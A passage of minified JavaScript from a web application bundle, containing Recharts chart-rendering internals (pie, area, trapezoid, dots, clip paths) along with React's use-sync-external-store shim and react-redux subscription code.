s==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${s}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(zz);var uB=zz.isPlainObject;const dB=Wr(uB);var cb,ub,db,fb,mb;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hb(e){for(var t=1;t{var s=n-r,o;return o=tt(cb||(cb=qs(["M ",",",""])),e,t),o+=tt(ub||(ub=qs(["L ",",",""])),e+n,t),o+=tt(db||(db=qs(["L ",",",""])),e+n-s/2,t+i),o+=tt(fb||(fb=qs(["L ",",",""])),e+n-s/2-r,t+i),o+=tt(mb||(mb=qs(["L ",","," Z"])),e,t),o},hB={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},xB=e=>{var t=gn(e,hB),{x:n,y:r,upperWidth:i,lowerWidth:s,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,p=m.useRef(null),[h,x]=m.useState(-1),g=m.useRef(i),y=m.useRef(s),v=m.useRef(o),b=m.useRef(n),w=m.useRef(r),j=qd(e,"trapezoid-");if(m.useEffect(()=>{if(p.current&&p.current.getTotalLength)try{var G=p.current.getTotalLength();G&&x(G)}catch{}},[]),n!==+n||r!==+r||i!==+i||s!==+s||o!==+o||i===0&&s===0||o===0)return null;var N=Qe("recharts-trapezoid",l);if(!f)return m.createElement("g",null,m.createElement("path",Wu({},Ut(t),{className:N,d:xb(n,r,i,s,o)})));var k=g.current,z=y.current,S=v.current,O=b.current,A=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),D=Dk(["strokeDasharray"],u,c);return m.createElement(Yd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},G=>{var R=At(k,i,G),K=At(z,s,G),_=At(S,o,G),M=At(O,n,G),F=At(A,r,G);p.current&&(g.current=R,y.current=K,v.current=_,b.current=M,w.current=F);var U=G>0?{transition:D,strokeDasharray:P}:{strokeDasharray:T};return m.createElement("path",Wu({},Ut(t),{className:N,d:xb(M,F,R,K,_),ref:p,style:hb(hb({},U),t.style)}))})},vB=["option","shapeType","activeClassName"];function gB(e,t){if(e==null)return{};var n,r,i=yB(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(C3({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},PB=e=>{var t=ot();return(n,r)=>i=>{e==null||e(n,r,i),t(TD())}},EB=(e,t,n)=>{var r=ot();return(i,s)=>o=>{e==null||e(i,s,o),r(MD({activeIndex:String(s),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function Sz(e){var{tooltipEntrySettings:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(ED(t)):i.current!==t&&n(_D({prev:i.current,next:t})),i.current=t)},[t,n,r]),m.useLayoutEffect(()=>()=>{i.current&&(n(AD(i.current)),i.current=null)},[n]),null}function _B(e){var{legendPayload:t}=e,n=ot(),r=Jn(),i=m.useRef(null);return m.useLayoutEffect(()=>{r||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}function AB(e){var{legendPayload:t}=e,n=ot(),r=je(De),i=m.useRef(null);return m.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Tk(t)):i.current!==t&&n(Mk({prev:i.current,next:t})),i.current=t)},[n,r,t]),m.useLayoutEffect(()=>()=>{i.current&&(n(Lk(i.current)),i.current=null)},[n]),null}var zm,OB=()=>{var[e]=m.useState(()=>$o("uid-"));return e},TB=(zm=dw.useId)!==null&&zm!==void 0?zm:OB;function MB(e,t){var n=TB();return t||(e?"".concat(e,"-").concat(n):n)}var LB=m.createContext(void 0),Cz=e=>{var{id:t,type:n,children:r}=e,i=MB("recharts-".concat(n),t);return m.createElement(LB.Provider,{value:i},r(i))},IB={cartesianItems:[],polarItems:[]},Pz=nn({name:"graphicalItems",initialState:IB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:He()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:He()},removeCartesianGraphicalItem:{reducer(e,t){var n=Yn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:He()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:He()},removePolarGraphicalItem:{reducer(e,t){var n=Yn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:He()}}}),{addCartesianGraphicalItem:DB,replaceCartesianGraphicalItem:RB,removeCartesianGraphicalItem:$B,addPolarGraphicalItem:BB,removePolarGraphicalItem:FB}=Pz.actions,WB=Pz.reducer,UB=e=>{var t=ot(),n=m.useRef(null);return m.useLayoutEffect(()=>{n.current===null?t(DB(e)):n.current!==e&&t(RB({prev:n.current,next:e})),n.current=e},[t,e]),m.useLayoutEffect(()=>()=>{n.current&&(t($B(n.current)),n.current=null)},[t]),null},VB=m.memo(UB);function HB(e){var t=ot();return m.useLayoutEffect(()=>(t(BB(e)),()=>{t(FB(e))}),[t,e]),null}var KB=["key"],GB=["onMouseEnter","onClick","onMouseLeave"],YB=["id"],qB=["id"];function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;tNz(e.children,mf),[e.children]),n=je(r=>aB(r,e.id,t));return n==null?null:m.createElement(AB,{legendPayload:n})}var tF=m.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:s,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(p=>p.tooltipPayload),getPosition:p=>{var h;return(h=r[Number(p)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:s,fill:o,dataKey:t,nameKey:n,name:Rd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})}),nF=(e,t)=>e>t?"start":efn(typeof t=="function"?t(e):t,n,n*.8),iF=(e,t,n)=>{var{top:r,left:i,width:s,height:o}=t,l=Wk(s,o),c=i+fn(e.cx,s,s/2),u=r+fn(e.cy,o,o/2),d=fn(e.innerRadius,l,0),f=rF(n,e.outerRadius,l),p=e.maxRadius||Math.sqrt(s*s+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:p}},aF=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},sF=(e,t)=>{if(m.isValidElement(e))return m.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=Sf(t,KB);return m.createElement(Qa,Ci({},i,{type:"linear",className:n}))},oF=(e,t,n)=>{if(m.isValidElement(e))return m.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),m.isValidElement(r)))return r;var i=Qe("recharts-pie-label-text",J$(e));return m.createElement(mv,Ci({},t,{alignmentBaseline:"middle",className:i}),r)};function lF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:s,dataKey:o}=n;if(!r||!i||!t)return null;var l=Mr(n),c=Do(i),u=Do(s),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((p,h)=>{var x=(p.startAngle+p.endAngle)/2,g=dt(p.cx,p.cy,p.outerRadius+d,x),y=rt(rt(rt(rt({},l),p),{},{stroke:"none"},c),{},{index:h,textAnchor:nF(g.x,p.cx)},g),v=rt(rt(rt(rt({},l),p),{},{fill:"none",stroke:p.fill},u),{},{index:h,points:[dt(p.cx,p.cy,p.outerRadius,x),g],key:"line"});return m.createElement(Mi,{zIndex:Zt.label,key:"label-".concat(p.startAngle,"-").concat(p.endAngle,"-").concat(p.midAngle,"-").concat(h)},m.createElement(tn,null,s&&sF(s,v),oF(i,y,Ve(p,o))))});return m.createElement(tn,{className:"recharts-pie-labels"},f)}function cF(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?m.createElement(hz,{label:i}):m.createElement(lF,{sectors:t,props:n,showLabels:r})}function uF(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:s,id:o}=e,l=je(ps),c=je(W3),u=je(yR),{onMouseEnter:d,onClick:f,onMouseLeave:p}=i,h=Sf(i,GB),x=CB(d,i.dataKey,o),g=PB(p),y=EB(f,i.dataKey,o);return t==null||t.length===0?null:m.createElement(m.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,N=l?r:null,k=n&&j?n:N,z=rt(rt({},v),{},{stroke:v.stroke,tabIndex:-1,[vk]:b,[gk]:o});return m.createElement(tn,Ci({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},CA(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),m.createElement(SB,Ci({option:s??k,index:b,shapeType:"sector",isActive:j},z)))}))}function dF(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:s}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,p=Math.abs(n.minAngle),h=aF(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(k=>Ve(k,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*p-v,w=r.reduce((k,z)=>{var S=Ve(z,u,0);return k+(ge(S)?S:0)},0),j;if(w>0){var N;j=r.map((k,z)=>{var S=Ve(k,u,0),O=Ve(k,d,z),A=iF(n,s,k),T=(ge(S)?S:0)/w,P,D=rt(rt({},k),i&&i[z]&&i[z].props);z?P=N.endAngle+qt(h)*g*(S!==0?1:0):P=l;var G=P+qt(h)*((S!==0?p:0)+T*b),R=(P+G)/2,K=(A.innerRadius+A.outerRadius)/2,_=[{name:O,value:S,payload:D,dataKey:u,type:f,graphicalItemId:n.id}],M=dt(A.cx,A.cy,K,R);return N=rt(rt(rt(rt({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:_,midAngle:R,middleRadius:K,tooltipPosition:M},D),A),{},{value:S,dataKey:u,startAngle:P,endAngle:G,payload:D,paddingAngle:qt(h)*g}),N})}return j}function fF(e){var{showLabels:t,sectors:n,children:r}=e,i=m.useMemo(()=>!t||!n?[]:n.map(s=>({value:s.value,payload:s.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:s.cx,cy:s.cy,innerRadius:s.innerRadius,outerRadius:s.outerRadius,startAngle:s.startAngle,endAngle:s.endAngle,clockWise:!1},fill:s.fill})),[n,t]);return m.createElement(F$,{value:t?i:void 0},r)}function mF(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:s,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:p}=t,h=qd(t,"recharts-pie-"),x=n.current,[g,y]=m.useState(!1),v=m.useCallback(()=>{typeof p=="function"&&p(),y(!1)},[p]),b=m.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return m.createElement(fF,{showLabels:!g,sectors:i},m.createElement(Yd,{animationId:h,begin:o,duration:l,isActive:s,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,N=[],k=i&&i[0],z=(j=k==null?void 0:k.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((S,O)=>{var A=x&&x[O],T=O>0?Ro(S,"paddingAngle",0):0;if(A){var P=At(A.endAngle-A.startAngle,S.endAngle-S.startAngle,w),D=rt(rt({},S),{},{startAngle:z+T,endAngle:z+P+T});N.push(D),z=D.endAngle}else{var{endAngle:G,startAngle:R}=S,K=At(0,G-R,w),_=rt(rt({},S),{},{startAngle:z+T,endAngle:z+K+T});N.push(_),z=_.endAngle}}),n.current=N,m.createElement(tn,null,m.createElement(uF,{sectors:N,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),m.createElement(cF,{showLabels:!g,sectors:i,props:t}),t.children)}var pF={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Zt.area};function hF(e){var{id:t}=e,n=Sf(e,YB),{hide:r,className:i,rootTabIndex:s}=e,o=m.useMemo(()=>Nz(e.children,mf),[e.children]),l=je(d=>sB(d,t,o)),c=m.useRef(null),u=Qe("recharts-pie",i);return r||l==null?(c.current=null,m.createElement(tn,{tabIndex:s,className:u})):m.createElement(Mi,{zIndex:e.zIndex},m.createElement(tF,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),m.createElement(tn,{tabIndex:s,className:u},m.createElement(mF,{props:rt(rt({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function Ez(e){var t=gn(e,pF),{id:n}=t,r=Sf(t,qB),i=Mr(r);return m.createElement(Cz,{id:n,type:"pie"},s=>m.createElement(m.Fragment,null,m.createElement(HB,{type:"pie",id:s,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),m.createElement(eF,Ci({},r,{id:s})),m.createElement(hF,Ci({},r,{id:s}))))}Ez.displayName="Pie";var xF=["points"];function bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sm(e){for(var t=1;t{var y,v,b=Sm(Sm(Sm({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:s,value:x.value,payload:x.payload,points:t});return m.createElement(jF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),m.createElement(Mi,{zIndex:u},m.createElement(tn,Vu({className:r},h),p))}function wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function jb(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),AF=I([_F,Hr,Kr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),gv=()=>je(AF),OF=()=>je(kR);function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cm(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:s,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:s,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=Cm(Cm(Cm({},l),Do(i)),Ix(i)),u;return m.isValidElement(i)?u=m.cloneElement(i,c):typeof i=="function"?u=i(c):u=m.createElement(xz,c),m.createElement(tn,{className:"recharts-active-dot",clipPath:o},u)};function kb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:s,zIndex:o=Zt.activeDot}=e,l=je(ps),c=OF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Mt(u)?null:m.createElement(Mi,{zIndex:o},m.createElement(IF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:s}))}var Oz=e=>{var{chartData:t}=e,n=ot(),r=Jn();return m.useEffect(()=>r?()=>{}:(n(D2(t)),()=>{n(D2(void 0))}),[t,n,r]),null},zb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},Tz=nn({name:"brush",initialState:zb,reducers:{setBrushSettings(e,t){return t.payload==null?zb:t.payload}}}),{setBrushSettings:yH}=Tz.actions,DF=Tz.reducer,RF={dots:[],areas:[],lines:[]},Mz=nn({name:"referenceElements",initialState:RF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Yn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Yn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Yn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:bH,removeDot:wH,addArea:jH,removeArea:NH,addLine:kH,removeLine:zH}=Mz.actions,$F=Mz.reducer,BF=m.createContext(void 0),FF=e=>{var{children:t}=e,[n]=m.useState("".concat($o("recharts"),"-clip")),r=gv();if(r==null)return null;var{x:i,y:s,width:o,height:l}=r;return m.createElement(BF.Provider,{value:n},m.createElement("defs",null,m.createElement("clipPath",{id:n},m.createElement("rect",{x:i,y:s,height:l,width:o}))),t)},WF={},Lz=nn({name:"errorBars",initialState:WF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(s=>s.dataKey===r.dataKey&&s.direction===r.direction?i:s))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:SH,replaceErrorBar:CH,removeErrorBar:PH}=Lz.actions,UF=Lz.reducer;function Iz(e,t){var n,r,i=je(u=>qr(u,e)),s=je(u=>Xr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:Z4.allowDataOverflow,l=(r=s==null?void 0:s.allowDataOverflow)!==null&&r!==void 0?r:Q4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function VF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=gv(),{needClipX:s,needClipY:o,needClip:l}=Iz(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return m.createElement("clipPath",{id:"clipPath-".concat(r)},m.createElement("rect",{x:s?c:c-d/2,y:o?u:u-f/2,width:s?d:d*2,height:o?f:f*2}))}function HF(e){var t=Do(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:s}=t,o=Number(i),l=Number(s);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var KF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Nl=m;function GF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var YF=typeof Object.is=="function"?Object.is:GF,qF=Nl.useSyncExternalStore,XF=Nl.useRef,ZF=Nl.useEffect,QF=Nl.useMemo,JF=Nl.useDebugValue;KF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=XF(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=QF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,YF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=qF(e,s[0],s[1]);return ZF(function(){o.hasValue=!0,o.value=l},[l]),JF(l),l};function eW(e){e()}function tW(){let e=null,t=null;return{clear(){e=null,t=null},notify(){eW(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Sb={notify(){},get:()=>[]};function nW(e,t){let n,r=Sb,i=0,s=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return s}function d(){i++,n||(n=e.subscribe(c),r=tW())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Sb)}function p(){s||(s=!0,d())}function h(){s&&(s=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:p,tryUnsubscribe:h,getListeners:()=>r};return x}var rW=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",iW=rW(),aW=()=>typeof navigator<"u"&&navigator.product==="ReactNative",sW=aW(),oW=()=>iW||sW?m.useLayoutEffect:m.useEffect,lW=oW();function Cb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function cW(e,t){if(Cb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=nW(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=m.useMemo(()=>i.getState(),[i]);lW(()=>{const{subscription:c}=s;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[s,o]);const l=n||dW;return m.createElement(l.Provider,{value:s},t)}var mW=fW,pW=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function hW(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function Dz(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(pW.has(r)){if(e[r]==null&&t[r]==null)continue;if(!cW(e[r],t[r]))return!1}else if(!hW(e[r],t[r]))return!1;return!0}function yv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:_z}function bv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:_z}var Rz=(e,t,n)=>w3(e,"xAxis",yv(e,t),n),$z=(e,t,n)=>b3(e,"xAxis",yv(e,t),n),Bz=(e,t,n)=>w3(e,"yAxis",bv(e,t),n),Fz=(e,t,n)=>b3(e,"yAxis",bv(e,t),n),xW=I([De,Rz,Bz,$z,Fz],(e,t,n,r,i)=>vr(e,"xAxis")?xu(t,r,!1):xu(n,i,!1)),vW=(e,t)=>t,Wz=I([e3,vW],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),Uz=e=>{var t=De(e),n=vr(t,"xAxis");return n?"yAxis":"xAxis"},gW=(e,t)=>{var n=Uz(e);return n==="yAxis"?bv(e,t):yv(e,t)},yW=(e,t,n)=>a3(e,Uz(e),gW(e,t),n),bW=I([Wz,yW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=L0(e);if(!(r==null||i==null)){var s=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=s==null?void 0:s.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),wW=I([De,Rz,Bz,$z,Fz,bW,uI,xW,Wz,yI],(e,t,n,r,i,s,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:p}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,p+1),x!=null)return BW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:s,displayedData:x,chartBaseValue:u,bandSize:l})}}),jW=["id"],NW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function na(){return na=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:s,hide:o}=e;return[{inactive:o,dataKey:t,type:s,color:Hu(r,i),value:Rd(n,t),payload:e}]},EW=m.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:s,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:bs,settings:{stroke:r,strokeWidth:i,fill:s,dataKey:t,nameKey:void 0,name:Rd(o,t),hide:l,type:u,color:Hu(r,s),unit:c,graphicalItemId:d}};return m.createElement(Sz,{tooltipEntrySettings:f})});function _W(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:s,dataKey:o}=r,l=Mr(r);return m.createElement(kF,{points:n,dot:s,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function AW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(s=>{var o,l,c={x:(o=s.x)!==null&&o!==void 0?o:0,y:(l=s.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Va(Va({},c),{},{value:s.value,payload:s.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return m.createElement(B$,{value:t?i:void 0},n)}function Eb(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:s}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=s,{id:f}=s,p=Vz(s,jW),h=Mr(p),x=Ut(p);return m.createElement(m.Fragment,null,(t==null?void 0:t.length)>1&&m.createElement(tn,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},m.createElement(Qa,na({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&m.createElement(Qa,na({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),m.createElement(_W,{points:t,props:p,clipPathId:i}))}function OW(e){var t,n,{alpha:r,baseLine:i,points:s,strokeWidth:o}=e,l=(t=s[0])===null||t===void 0?void 0:t.y,c=(n=s[s.length-1])===null||n===void 0?void 0:n.y;if(!Ee(l)||!Ee(c))return null;var u=r*Math.abs(l-c),d=Math.max(...s.map(f=>f.x||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),ge(d)?m.createElement("rect",{x:0,y:lf.y||0));return ge(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),ge(d)?m.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=qd(x,"recharts-area-"),y=iM(),[v,b]=m.useState(!1),w=!v,j=m.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),N=m.useCallback(()=>{typeof p=="function"&&p(),b(!0)},[p]);if(y==null)return null;var k=i.current,z=s.current;return 